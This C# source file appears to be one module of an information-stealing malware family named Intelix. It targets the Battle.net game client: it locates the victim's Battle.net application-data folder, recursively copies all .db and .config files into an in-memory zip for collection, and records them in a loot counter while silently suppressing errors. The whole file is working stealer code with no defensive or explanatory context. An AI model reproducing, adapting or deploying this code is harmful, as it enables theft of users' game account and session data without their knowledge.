using System; using System.IO; using Intelix.Helper.Data; namespace Intelix.Targets.Games; public class BattleNet : ITarget { public void Collect(InMemoryZip zip, Counter counter) { string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Battle.net"); if (!Directory.Exists(path)) { return; } string[] obj = new string[2] { "*.db", "*.config" }; Counter.CounterApplications counterApplications = new Counter.CounterApplications { Name = "BattleNet" }; string[] array = obj; foreach (string searchPattern in array) { string[] files = Directory.GetFiles(path, searchPattern, SearchOption.AllDirectories); foreach (string fileName in files) { try { FileInfo fileInfo = new FileInfo(fileName); string text = Path.Combine(Path.Combine("BattleNet", (fileInfo.Directory?.Name == "Battle.net") ? "" : fileInfo.Directory?.Name), fileInfo.Name); zip.AddFile(text, File.ReadAllBytes(fileInfo.FullName)); counterApplications.Files.Add(fileInfo.FullName + " => " + text); } catch { } } } if (counterApplications.Files.Count > 0) { counterApplications.Files.Add("BattleNet\\"); counter.Games.Add(counterApplications); } } }